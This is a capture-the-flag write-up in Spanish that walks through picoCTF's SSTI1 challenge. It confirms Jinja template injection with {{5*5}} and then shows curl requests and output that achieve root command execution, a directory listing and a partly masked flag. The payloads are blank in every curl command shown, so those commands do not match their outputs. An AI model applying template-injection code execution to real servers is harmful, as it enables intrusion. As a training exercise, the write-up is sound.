Challenge

Information

SSTI1 es un challenge de dificultad fácil dentro de la categoría Web Exploitation de la plataforma picoCTF y fue creado por el usuario VENAX.

Description

I made a cool website where you can announce whatever you want! Try it out!

Additional details will be available after launching your challenge instance.

Hints

Se nos facilita la siguiente pista:

Server Side Template Injection


Solution

Site

El sitio web cuenta con un campo de entrada (input) que permite enviar datos.

Envío a modo de prueba la cadena test y posteriormente puedo verla reflejada en la página

En los encabezados (Headers) se observa que el servidor utiliza Python (Werkzeug/3.0.3 Python/3.8.10), por lo que podemos inferir el uso de plantillas del tipo Jinja para futuros ataques.

Server Site Template Injection (SSTI)
Check

Al insertar {{5*5}} se verifica la vulnerabilidad, ya que la aplicación devuelve 25.

Para trabajar de forma más cómoda, utilizo la terminal y envío con curl los datos mediante el método POST con el parámetro content, tal como se observa en el código del input.

Remote Code Execution (RCE)

Consigo ejecutar comandos como usuario root

root@kali:~  curl -sX POST -d "content=" "http://rescued-float.picoctf.net:62323/announce"

                <!doctype html>
                <h1 style="font-size:100px;" align="center">uid=0(root) gid=0(root) groups=0(root)
</h1>

Flag

Listo los archivos del directorio actual, localizo la flag y procedo a leerla.

root@kali:~  curl -sX POST -d "content=" "http://rescued-float.picoctf.net:50156/announce"

                <!doctype html>
                <h1 style="font-size:100px;" align="center">__pycache__
app.py
flag
requirements.txt
</h1>

root@kali:~ ❯ curl -sX POST -d "content=" "http://rescued-float.picoctf.net:50156/announce"

                <!doctype html>
                <h1 style="font-size:100px;" align="center">picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_XXXXXXXXXXXXXXXXXXXXX}</h1>

Hasta aquí la resolución del challenge SSTI1 de picoCTF.

Happy Hacking!